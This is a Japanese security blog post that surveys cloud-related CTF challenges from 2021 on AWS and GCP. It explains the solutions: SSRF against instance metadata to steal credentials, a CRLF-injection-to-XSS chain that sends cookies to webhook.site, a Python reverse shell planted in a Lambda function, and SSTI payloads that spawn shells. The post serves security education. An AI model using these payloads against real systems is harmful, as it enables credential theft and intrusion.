blog of morioka12

morioka12のブログ (Security Blog)

CTF Cloud 問題の攻撃手法まとめ(2021年版)

1. はじめに

こんにちは、morioka12 です。

本稿では、CTFtime のイベントに記載されている2021年に開催された CTF のイベントで、Cloud に関する問題をピックアップして攻撃手法やセキュリティ視点での特徴について紹介します。

また、同様に Hack The Box の Lab で Cloud に関する問題は、以下のブログで紹介しているので、良ければこちらもご覧ください。

scgajge12.hatenablog.com

1.1 調査対象

今回の対象となるイベントは、以下のような条件で全て調査して選んでいます。

  • 2021年1月1日~12月31日の期間に開催された CTF イベント
  • CTFtime のイベントに記載してある CTF イベント
  • Online 開催である CTF イベント
  • Jeopardy 形式である CTF イベント
  • Cloud 問題、もしくは Web 問題で Cloud に関する要素を取り入れている問題

1.2 Public Cloud Service

本ブログに記載があるサービス名


2. AWS (Amazon Web Services)

2.1 Amazon EC2 (Amazon Elastic Compute Cloud)

Amazon EC2仮想マシン(VM インスタンス)のサービスで、EC2 上にある Web アプリケーションに脆弱性が合った場合、SSRF (Server-Side Request Forgery) によってメタデータサーバーからクレデンシャルを入手することが可能です。

EC2 のメタデータサーバーにアクセスする先は、以下のようになります。

  • IPv4
    • http://169.254.169.254/latest/meta-data/
  • IPv6
    • http://[fd00:ec2::254]/latest/meta-data/

ただし、メタデータサーバーにアクセスするには、以下のような形で IMDS(Instance Meta Data Service) のバージョンに合わせてトークンを入手し、リクエストに X-aws-ec2-metadata-token を付与する必要があります。

# IMDSv2 の場合
$ TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"` \
  && curl -H "X-aws-ec2-metadata-token: $TOKEN" -v http://169.254.169.254/latest/meta-data/

問題1

実際の問題では、脆弱な Web サイトに SSRF によってクレデンシャルを入手することができました。具体的には、以下の URL からインスタンスに紐付いている S3 にアクセス可能なクレデンシャルを入手することができました。

  • http://169.254.169.254/latest/meta-data/iam/security-credentials/S3Role

入手したクレデンシャルを元に、S3 バケットを探索し、シークレットなバケット(secretdocs)から flag を入手することができました。

$ aws s3 ls
2021-01-12 11:37:04 secretdocs

$ aws s3 ls secretdocs
2021-01-12 13:22:24        241 leviathan.txt

$ aws s3 cp s3://secretdocs/leviathan.txt leviathan.txt
download: s3://secretdocs/leviathan.txt to ./leviathan.txt

$ cat leviathan.txt
no sound, once made, is ever truly lost
in electric clouds, all are safely trapped
and with a touch, if we find them
we can recapture those echoes of sad, forgotten wars
long summers, and sweet autumns

flag{cl0udy_with_a_chance_0f_flag5}

CTF event (writeup)

reference

2.2 Amazon S3 (Amazon Simple Storage Service)

Amazon S3 はオブジェクトストレージのサービスで、機微な情報を含んだ状態でファイルがバケットに格納されている可能性があり、アクセス権限の不備や脆弱性によって機微な情報を得ることが可能です。また、S3 は静的なファイルを格納して、静的ホスティングをすることもできます。

S3 において、エンドポイントは2種類あり、以下のようになっています。

  • 仮想ホスト形式
    • http://<bucket-name>.s3.amazonaws.com
    • http://<bucket-name>.s3-<region>.amazonaws.com
  • パス形式
    • http://s3.amazonaws.com/<bucket-name>
    • http://s3-<region>.amazonaws.com/<bucket-name>

また、AWS CLI を用いて以下のようにバケットの操作を行うこともできます。

# s3 command
# バケットの一覧を表示
$ aws s3 ls

# バケットの内容を表示
$ aws s3 ls s3://<bucket-name>/<path>

# ローカルのファイルをバケットにコピー
$ aws s3 cp <file-path> s3://<bucket-name>/<path>

# s3api command
# バケットのオブジェクトを取得
$ aws s3api get-object --bucket <bucket-name>

# オブジェクトのバージョンを表示
$ aws s3api list-object-versions --bucket <bucket-name>

問題1

実際の問題では、Nginx の設定不備による CRLF Injection から任意の S3 バケットへのアクセスを bot にさせることによる XSS (Cross-Site Scripting) で Cookie の取得ができました。

問題では、以下のような Nginx の設定ファイルの記載があり、CRLF Injection で Host ヘッダーを偽造して他の S3 バケットを読み込ませることができました。

location /static/ {
   proxy_pass https://volga-static-site.s3.amazonaws.com$uri;
}
  • https://static-site.volgactf-task.ru/static/xss.html%20HTTP/1.1%0d%0aHost:%20example.com%0d%0a%0d%0a
GET /static/xss.html HTTP/1.0
Host:attacker-s3-bucket

HTTP/1.1
Host: volga-static-site.s3.amazonaws.com

また、既に使われているバケット名は volga-static-site とわかっているので、これと同じリージョンに悪意のあるファイルを格納したバケット名を作成します。

リージョンの確認は、以下のようにヘッダーから簡単に確認することができました。

$ curl -i s3.amazonaws.com -H "Host: volga-static-site"
HTTP/1.1 200 OK
 ...
x-amz-bucket-region: us-east-1
 ...
Server: AmazonS3

 ...

まずは、バケットus-east-1 リージョンで作成し、既存のバケットと同じように /static/index.html/static/ の下に Cookie の送信する先をセットした JavaScript ファイル(/static/app.js)を格納して、外部からアクセスできるようにします。

JavaScript ファイルの中身は、以下のような感じにします(例)。

window.location = 'https://webhook.site?c='+document.cookie

あとは、CRLF Injection で以下のように指定してアクセスすると、裏で bot が任意の先にアクセスし、XSS で flag を得ることができました。

  • https://static-site.volgactf-task.ru/static/index.html%20HTTP/1.0%0d%0aHost:%20bucket-name.s3.amazonaws.com%0d%0a%0d%0a

問題2

他の実際の問題では、単純にバケットの中にアクセスキーが保存してあり、そのクレデンシャルを入手し、他のシークレットなバケットの中身に flag があったりしました。

また、バケットの Tag の中に flag があったり、クレデンシャルに紐付いている先の Lambda 関数や EC2 の Tag の中に flag があったりする問題もありました。

$ aws s3api get-bucket-tagging --bucket <bucket-name>
$ aws s3 sync s3://<bucket-name> . --endpoint-url <url>
$ aws lambda list-functions
$ aws lambda list-tags --resource <function-arn>
$ aws ec2 describe-tags

CTF event (writeup)

reference

また筆者が書いた S3 のセキュリティに関するブログも良ければ参照ください。

blog.flatt.tech

2.3 Amazon ECS (Elastic Container Service)

Amazon ECS はコンテナオーケストレーションのサービスで、クラスター上の Docker コンテナを実行することができ、EC2 と同様に SSRF によってメタデータサーバーからクレデンシャルを入手することが可能です。

ECS のメタデータサーバーにアクセスする先は、以下のようになります。

  • http://169.254.179.2/v2/metadata
  • クレデンシャル
    • http://169.254.170.2/v2/credentials/<random-uuid>

ちなみに ECS に付与された IAM ロールのクレデンシャルを取得するには UUID が必要で、それらは環境変数から知ることが可能です。環境変数(/proc/self/environ)から得るには、OS Command Injection や Path Traversal といった脆弱性攻撃で獲れる可能性があります。

JAVA_ALPINE_VERSION=8.212.04-r0
HOSTNAME=bbb3c57a0ed3SHLVL=1PORT=8443HOME=/root
AWS_CONTAINER_CREDENTIALS_RELATIVE_URI=/v2/credentials/d22070e0-5f22-4987-ae90-1cd9bec3f447
AWS_EXECUTION_ENV=AWS_ECS_FARGATEMVN_VER=3.3.9JAVA_VERSION=8u212AWS_DEFAULT_REGION=us-west-2
ECS_CONTAINER_METADATA_URI=http://169.254.170.2/v3/cb4f6285-48f2-4a51-a787-67dbe61c13ffPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/lib/jvm/java-1.8-openjdk/jre/bin:/usr/lib/jvm/java-1.8-openjdk/bin:/usr/lib/mvn:/usr/lib/mvn/binLANG=C.UTF-8AWS_REGION=us-west-2Tag=48111bbJAVA_HOME=/usr/lib/jvm/java-1.8-openjdk/jreM2=/usr/lib/mvn/binPWD=/appM2_HOME=/usr/lib/mvnLD_LIBRARY_PATH=/usr/lib/jvm/java-1.8-openjdk/jre/lib/amd64/server:/usr/lib/jvm/java-1.8-openjdk/jre/lib/amd64:/usr/lib/jvm/java-1.8-openjdk/jre/../lib/amd64

以上のような内容が環境変数から得れた場合、以下の URL から ECS のクレデンシャルを得ることができます。

  • http://169.254.170.2/v2/credentials/d22070e0-5f22-4987-ae90-1cd9bec3f447

問題1

実際の問題では、HTML のコードをレンダリングして PDF を生成する機能に SSRF があり、ECS のクラスター ARN が取得できました。そこから紐付いている S3 バケットにアクセスすることで flag を得れました。

以下のようなコードを埋め込み、PDF を生成すると、クラスターの ARN を入手することができました。

<html>
  <body>
    <iframe src="http://169.254.170.2/v2/metadata" width="500" height="1000">
  </body>
</html>

そして問題では、他の脆弱性攻撃や .bashrc などの環境変数から UUID を知ることができました。

そこから、ECS の クレデンシャルに紐付いた S3 バケットにアクセスすることができ、シークレットなバケットバケット名から flag が得ることができました。

$ aws s3 ls --profile hackazonctf-phase3
2021-07-15 04:39:09 ctf-d276243c33a98f677e1c679f8b1353b2-9c38597

CTF event (writeup)

reference

2.4 AWS Lambda

AWS Lambda はサーバレスコンピューティングのサービスで、Lambda 上の権限の不備や脆弱性によって、クレデンシャルや機微な情報を入手することが可能です。

Lambda のクレデンシャルは環境変数に格納されていて、OS Command Injection や SSRF などの脆弱性攻撃でクレデンシャルを取得することができます。

AWS_LAMBDA_FUNCTION_VERSION=$LATEST
AWS_SESSION_TOKEN=IQoJ..........xqE=
 ...
AWS_SECRET_ACCESS_KEY=XDol********************************K2hq
 ...
AWS_ACCESS_KEY_ID=ASIA************5LGP
 …

問題1

実際の問題では、問題サーバーの /health にアクセスすることで Lambda が実行されていることが確認でき、AWS CLIソースコードを書き換えることでリバースシェルを実行し、任意のファイルから flag を得ることができました。

まずは、Lambda 関数について詳しく AWS CLI で調査して、関数名や関数自体の詳細情報などを入手します。調査すると新しい関数の作成は権限でできないが、関数に含まれる既存のファイルの更新は可能なことがわかりました。

$ aws lambda list-functions --endpoint-url http://<問題サーバー> --output json
$ aws lambda get-function --endpoint-url http://<問題サーバー> --output json  --function-name <関数名>

そこから既存のファイル名(lambda_function.py)を知ることができ、既存のファイルをダウンロードできます。

$ wget http://<問題サーバー>/2015-03-31/functions/billing/code -O code.zip

そして以下のようにリバースシェルを組み込んだ状態で Lambda 関数のファイルを更新します。

import json
import socket,subprocess,os

def lambda_handler(event, context):
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect(("10.10.14.103",1337))
    os.dup2(s.fileno(),0)
    os.dup2(s.fileno(),1)
    os.dup2(s.fileno(),2)
    p=subprocess.call(["/bin/bash","-i"])
    
    return {
        'statusCode': 200,
        'body': json.dumps('Still in development')
    }
$ zip update.zip lambda_function.py 
$ aws lambda update-function-code --endpoint-url http://<問題サーバー> --output json  --function-name <関数名> --zip-file fileb://update.zip

あとは、ホストマシンでリバースシェルを待ち構え、以下のように関数の新しいファイルをトリガーして、ホストマシンから侵入できたら直接的に flag を入手するこことができました(/opt/flat.txt)。

$ aws lambda invoke --endpoint-url http://<問題サーバー>  --function-name <関数名> output.log

$ nc -nlvp 9999

問題2

他の実際の問題では、外部に公開された .git に Lambda 関数にアクセスするためのクレデンシャルが含まれていて、Lambda 関数のソースコードから JWT のシークレートキーを入手することができました。シークレットキーを活用して JWT の改竄を行い、管理者画面にアクセスしたら SSTI (Server-Side Template Injection)があり、脆弱性攻撃からリバースシェルをして flag を得る問題もありました。

{{config.__class__.__init__.__globals__['os'].popen('echo <rev-shell-base64> | base64 -d | bash').read()}}
POST /order?input=python3+-c+'import+socket,subprocess,os%3bs%3dsocket.socket(socket.AF_INET,socket.SOCK_STREAM)%3bs.connect(("[my+ip]",4444))%3bos.dup2(s.fileno(),0)%3b+os.dup2(s.fileno(),1)%3bos.dup2(s.fileno(),2)%3bimport+pty%3b+pty.spawn("sh")' HTTP/1.1
Host: cloud.epsilon.htb:5000
 ...

costume={%25+for+x+in+().__class__.__base__.__subclasses__()+%25}{%25+if+"warning"+in+x.__name__+%25}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%25endif%25}{%25endfor%25}&q=1&addr=2

CTF event (writeup)

reference

また筆者が書いた Lambda のセキュリティに関するブログも良ければ参照ください。

blog.flatt.tech


3. GCP (Google Cloud Platform)

3.1 GCE (Google Compute Engine)

GCE は仮想マシン(VM インスタンス)のサービスで、GCE 上にある Web アプリケーションに脆弱性が合った場合、SSRF によってメタデータサーバーからクレデンシャルを入手することが可能です。

GCE のメタデータサーバーにアクセスする先は、以下のようになります。

  • Full URL
    • http://metadata.google.internal/computeMetadata/v1/
  • Shorthand URL
    • http://metadata/computeMetadata/v1/
  • IP address
    • http://169.254.169.254/computeMetadata/v1/

ただ、HTTP 経由でメタデータサーバーにアクセスするには、リクエストに Metadata-Flavor: Google を付与する必要があります。

$ curl "http://metadata.google.internal/computeMetadata/v1/instance/" -H "Metadata-Flavor: Google"

また、v1beta1 のエンドポイントには先ほどのヘッダーがなくてもアクセスすることが可能です。

  • http://metadata.google.internal/computeMetadata/v1beta1/instance/
  • アクセストーク
    • http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token
  • SSH公開鍵
    • http://metadata.google.internal/computeMetadata/v1beta1/project/attributes/ssh-keys

問題1

実際の問題では、URL を受け付ける欄に SSRF があり、ソースコード上で http://192.0.2.235http://3221226219 といった IP アドレスを正規表現で制限していたため、URL 短縮サービスである Bit.ly で生成した URL によってバイパスすることでクレデンシャルを入手することができました。

また、問題の Node.js のソースコード上でヘッダーの挿入が不可能となっていました。しかし、v1beta1 のエンドポイントはヘッダーを必要としないため、バイパスしてアクセスすることが可能です。

以下のような URL を指定して SSRF することでメタデータサーバーからクレデンシャルや GCE インスタンス上でホストされている Docker コンテナのアクセストークンを入手することができました。

  • http://metadata.google.internal/computeMetadata/v1beta1/instance/?recursive=true
  • http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json

更に入手したクレデンシャルを使用して GCE インスタンス上でホストされている Docker コンテナを GCR からコンテナイメージを取得できました。

そして GCR から取得したコンテナイメージを手元で実行して flag を入手することができました。

$ docker login -u oauth2accesstoken -p "<token>" gcr.io
$ docker pull gcr.io/dicegang-waas/waas

$ sudo docker run gcr.io/dicegang-waas/waas
dice{the_cloud_is_just_someone_elses_computer}
Listening on 3000

CTF event (writeup)

reference

3.2 GCS (Google Cloud Storage)

GCS はオブジェクトストレージのサービスで、機微な情報を含んだ状態でファイルがバケットに格納されている可能性があり、アクセス権限の不備や脆弱性によって機微な情報を得ることが可能です。

GCS において、エンドポイントは2種類あり、以下のようになっています。

  • JSON API
    • https://storage.googleapis.com/storage/v1/<path-to-resource>
    • https://storage.googleapis.com/upload/storage/v1/b/<bucket-name>/o
  • XML API
    • 仮想ホスト形式
      • https://<bucket-name>.storage.googleapis.com/<object-name>
    • パス形式
      • https://storage.googleapis.com/<bucket-name>/<object-name>

問題1

実際の問題では、問題の Web サイトの /robots.txtDisallow: /.git/* が記載していて、GitDumper などを活用して Git リポジトリを入手することができました。そこから git log を実行してコミットログを見ると JSON ファイルがあり、ファイルの中身からプロジェクト名 booming-cosine-304921 というのがわかりました。

> git log
commit 8170c6c35cccffe0f9e2715fd7b81c832e5d9fd1 (HEAD -> master)
Author: corgi <corgi@corgiwoofwoof.com>
Date:   Fri Mar 5 19:55:42 2021 -0800

clean up complete

commit 543e9d358dbd4276da5277291624d16fb8b9d56a
Author: corgi <corgi@corgiwoofwoof.com>
Date:   Fri Mar 5 19:55:00 2021 -0800

remove this later

> git show
commit 8170c6c35cccffe0f9e2715fd7b81c832e5d9fd1 (HEAD -> master)
Author: corgi <corgi@corgiwoofwoof.com>
Date:   Fri Mar 5 19:55:42 2021 -0800

clean up complete

diff --git a/booming-cosine-304921-5327fdaff786.json b/booming-cosine-304921-5327fdaff786.json
deleted file mode 100644
index a440f42..0000000
--- a/booming-cosine-304921-5327fdaff786.json
+++ /dev/null
@@ -1,12 +0,0 @@
-{
-  "type": "service_account",
-  "project_id": "booming-cosine-304921",
-  "private_key_id": "5327fdaff786b034f9dc37834326fd83dfa1d972",
-  "private_key": "-----BEGIN PRIVATE KEY-----\nMIIEvQIBADANBgkqhkiG ...
 ...

プロジェクト名(booming-cosine-304921)から実際に gcloud CLI で紐付いている権限周りを実行してみると、権限一覧の出力する権限がなく、「gcloud CLI クイック リファレンス」から色々試すと GAE (Google App Engine)のアプリのログを見ることができました。そのアプリのリクエストログを読み取ると特定の GCS のバケット名を入手することができ、そのファイルにアクセスすることで flag を入手できました。

$ gcloud auth activate-service-account --key-file=key.json --project=booming-cosine-304921

$ gcloud logging logs list
NAME
projects/example-project/logs/%2Fvar%2Flog%2Fgoogle_init.log
projects/example-project/logs/%2Fvar%2Flog%2Fnginx%2Ferror.log
projects/example-project/logs/appengine.googleapis.com%2Frequest_log
projects/example-project/logs/cloudaudit.googleapis.com%2Factivity
projects/example-project/logs/cloudaudit.googleapis.com%2Fdata_access
projects/example-project/logs/cloudaudit.googleapis.com%2Fsystem_event
projects/example-project/logs/cloudbuild
projects/example-project/logs/clouderrorreporting.googleapis.com%2Finsights
projects/example-project/logs/stderr
projects/example-project/logs/varlog%2Fsystem

$ gcloud logging read request_log | grep storage
  resource: /send?message=https%3A%2F%2Fstorage.googleapis.com%2Fshout-into-void%2F1574AB2CB00533975094D87814BCF8FA707FD608-flag.txt
  • https://storage.googleapis.com/shout-into-void/1574AB2CB00533975094D87814BCF8FA707FD608-flag.txt

問題2

他の実際の問題では、単純にバケットの中身に XML ファイルが格納されていて、そこからファイルをダウンロードして flag を得れたり、gsutil を使って GCS のバケット内を調べて flag を得たりする問題もありました。

$ gsutil ls gs://<bucket-name>
$ gsutil cp gs://<bucket-name>/pics/flag.txt .

CTF event (writeup)

reference

3.3 Cloud KMS(Cloud Key Management Service)

Cloud KMS は鍵管理のサービスで、復号化するための秘密鍵が Secret Manager などから漏洩した場合、暗号化して管理した鍵を復号化して入手することが可能です。

問題1

実際の問題では、手がかりとなる以下のような JSON ファイルが配布されていて、プロジェクト名やサービスアカウント名が漏洩したという定で Secret Manager から秘密鍵を入手し、KMS で管理された鍵を復号化して中身を得ることができました。

{
  "type": "service_account",
  "project_id": "ductf-lost-n-found",
  "private_key_id": "204a0a9969f97549e646f592d1732f5e478492d7",
  "private_key": "-----BEGIN PRIVATE KEY-----\n[redacted so github doesnt nuke this]\n-----END PRIVATE KEY-----\n",
  "client_email": "legacy-svc-account@ductf-lost-n-found.iam.gserviceaccount.com",
  "client_id": "103100904971904770440",
  "auth_uri": "https://accounts.google.com/o/oauth2/auth",
  "token_uri": "https://oauth2.googleapis.com/token",
  "auth_provider_x509_cert_url": "https://www.googleapis.com/oauth2/v1/certs",
  "client_x509_cert_url": "https://www.googleapis.com/robot/v1/metadata/x509/legacy-svc-account%40ductf-lost-n-found.iam.gserviceaccount.com"
}

まずは、入手したプロジェクト名(ductf-lost-n-found)とサービスアカウント(legacy-svc-account@ductf-lost-n-found.iam.gserviceaccount.com)を gcloud でセットします。

$ gcloud auth activate-service-account legacy-svc-account@ductf-lost-n-found.iam.gserviceaccount.com --key-file=legacy.json
$ gcloud config set project ductf-lost-n-found

それらからアカウントに紐付いている権限より情報収集して、gcloud で Secret Manager の中を見てみると、シークレットな秘密鍵(unused_data)がわかりました。

$ gcloud secrets list                                                                                    
NAME         CREATED              REPLICATION_POLICY  LOCATIONS
unused_data  2021-09-21T05:20:41  automatic           -

$ gcloud secrets describe unused_data                                                                    
createTime: '2021-09-21T05:20:41.876436Z'
etag: '"15cc7a8f10dbd4"'
name: projects/216026370280/secrets/unused_data

次に鍵管理をしている KMS に対して一覧を表示させてみて、得れた情報を元に中身を見てみます。

$ gcloud kms keyrings list --location australia-southeast2
NAME
projects/ductf-lost-n-found/locations/australia-southeast2/keyRings/wardens-locks

$ gcloud kms keys list --keyring projects/ductf-lost-n-found/locations/australia-southeast2/keyRings/wardens-locks
NAME                                                                                                         PURPOSE          ALGORITHM                    PROTECTION_LEVEL  LABELS  PRIMARY_ID  PRIMARY_STATE
projects/ductf-lost-n-found/locations/australia-southeast2/keyRings/wardens-locks/cryptoKeys/a-big-key       ENCRYPT_DECRYPT  GOOGLE_SYMMETRIC_ENCRYPTION  SOFTWARE                  1           ENABLED
 ...

すると多くの鍵が出力されました。それらは暗号化されているため、鍵の平文を見るには復号化する必要があります。

多くの鍵を一気に復号化できるように以下のようなシェルスクリプトによって復号化し、復号化した鍵の中の一つに flag がありました。

#!/bin/bash
gcloud kms decrypt \
--key=$1 \
--keyring=wardens-locks \
--location=australia-southeast2 \
--ciphertext-file=ciphertext \
--plaintext-file=flag.txt 2> /dev/null

cat flag.txt 2>/dev/null
$ gcloud secrets versions access latest --secret="unused_data" | base64 -d > ciphertext
$ chmod +x trykey.sh
 ...
DUCTF{its_time_to_clean_up_your_service_account_permissions!}

CTF event (writeup)

reference


4. おまけ

ここでは、CTFtime には記載されていないけど、2021年に開催された CTF で Cloud に関する問題を取り上げていた問題を簡単に紹介します。

4.1 AWS and HackerOne CTF

この問題は、HackerOne が主催する Hacker101 CTF の AWS とコラボした問題になります。

簡単に一連の流れがわかるくらいで紹介します。

  1. 問題の Web サイトに URL を受け付ける入力欄があり、SSRF によって IAM ロールのクレデンシャルを入手することができる
  2. 入手した IAM ロールを調べてみると、他にも EC2 インスタンスがあり、それらのアクセス先を入力欄に指定してリクエストを投げると、エラー文より「Missing api_key parameter. See AWS SecretsManager.」とヒントとなる情報が得れる
  3. Secrets Manager から情報を探ると api_key を入手することができ、これを使って再度プライベートな EC2 に SSRF でアクセスする
  4. そこでまた新しいクレデンシャルを入手することができ、再度 Secrets Manager から情報を探ると h101_flag_secret_secondary を入手することができる
  5. 入手した先ほどのクレデンシャルをさらに調べると S3 バケットのリストを取得することができ、そこから一つのファイルを取得することができる
  6. また、README.md ファイルもあり、中身を確認すると SQS を使って flag を生成するような Tips が記載してあることが確認できる
  7. SQS に対して得た情報を元にリクエストを投げて、その情報を元にアクセスできなかった S3 バケットに対してアクセスすると flag の入ったファイルを入手することができる

これらより、大まかな AWS 環境における侵入の流れは、以下のようになります。

  1. EC2 -> IAM
  2. IAM -> EC2 -> Secrets Manager
  3. EC2 -> IAM -> Secrets Manager
  4. IAM -> S3
  5. SQS -> S3

詳しくは、以下の writeup をご覧ください。

4.2 others

その他として、クラウドに関する「やられ環境」は以下のようなものがあります。

また、今年の7月に Hack The Box で公開(開始)されたに AWS に関するペネトレーションコンテンツもあります。


5. まとめ

5.1 Summary

これまでの紹介をセキュリティ視点で簡単にまとめると、以下のような感じになります。

  • 仮想マシン (VM インスタンス)
    • SSRF などの脆弱性攻撃によってメタデータサーバーからクレデンシャルを取得することが可能
    • メタデータサーバーのエンドポイント
      • EC2:http://169.254.169.254/latest/meta-data/
      • GCE:http://169.254.169.254/computeMetadata/v1/
  • オブジェクトストレージ
    • ストレージの中に flag が含まれている場合がある
    • 入手したクレデンシャルを元にストレージにアクセスしてシークレットなファイルから flag を得れる可能性がある
      • もしくはアクセス権限の不備で、単にパブリックになっているストレージからダウンロードして flag を得れる可能性もある
    • オブジェクトストレージのエンドポイント
      • S3:
        • http://<bucket-name>.s3.amazonaws.com/
        • http://s3.amazonaws.com/<bucket-name>
      • GCS:
        • https://<bucket-name>.storage.googleapis.com/
        • https://storage.googleapis.com/<bucket-name>
  • コンテナオーケストレーション
    • SSRF などの脆弱性攻撃によってメタデータサーバーからクレデンシャルを取得することが可能
      • また、ECS の場合、クレデンシャルをメタデータから取得する際に環境変数から UUID を取得する必要がある
    • メタデータサーバーのエンドポイント
      • ECS:http://169.254.179.2/v2/metadata
  • サーバーレスコンピューティング・プラットフォーム
    • 権限の不備から Lambda 関数のファイルを更新することでリバースシェルによってサーバーレス内の環境から flag を得れる可能性がある
    • Lambda の場合、脆弱性攻撃によって環境変数からクレデンシャルを取得することが可能
  • アクセス管理
    • AWS の場合、IAM を入手できるとそこから付与されている権限の範囲内で他の AWS リソースにアクセスすることが可能
  • その他
    • .git ファイル等にクレデンシャルが含まれている可能性がある
    • ポリシーや Tag の中に flag が埋め込まれている可能性がある

5.2 Tools

また、クラウド環境において、以下のようなツールを活用することで、効率的にセキュリティ的な情報収集をすることが可能です。

5.3 reference


6. 終わりに

本稿では、2021年に開催された CTF のイベントで Cloud に関する問題をピックアップして攻撃手法やセキュリティ視点での特徴について紹介しました。

CTF の問題としては、まだまだ Cloud に関する出題はあまりない方ですが、今後 Cloud というカテゴリーが一定出題するくらい多くなってくると個人的に問題の幅が広がって面白くて良いなと思いました。

今回これらをまとめたきっかけは、今度「セキュリティ・ミニキャンプ オンライン 2022」で「WebとCloudにおけるセキュリティの基礎と実践」という講義の講師を担当するのですが、その講義で修了試験問題として講義にまつわる CTF を出題することとなっています。そこで Web や Cloud に関する CTF を出題する予定のため、既存の CTF で取り入れられている Cloud 問題について調査を行った感じになります。

来年も、今年の2022年版がまとめて書けたらと良いなと思っているので、お楽しみに。

また、セキュリティミニキャンプ用に作問した問題もどこかで紹介できればと思います。

ここまでお読みいただきありがとうございました。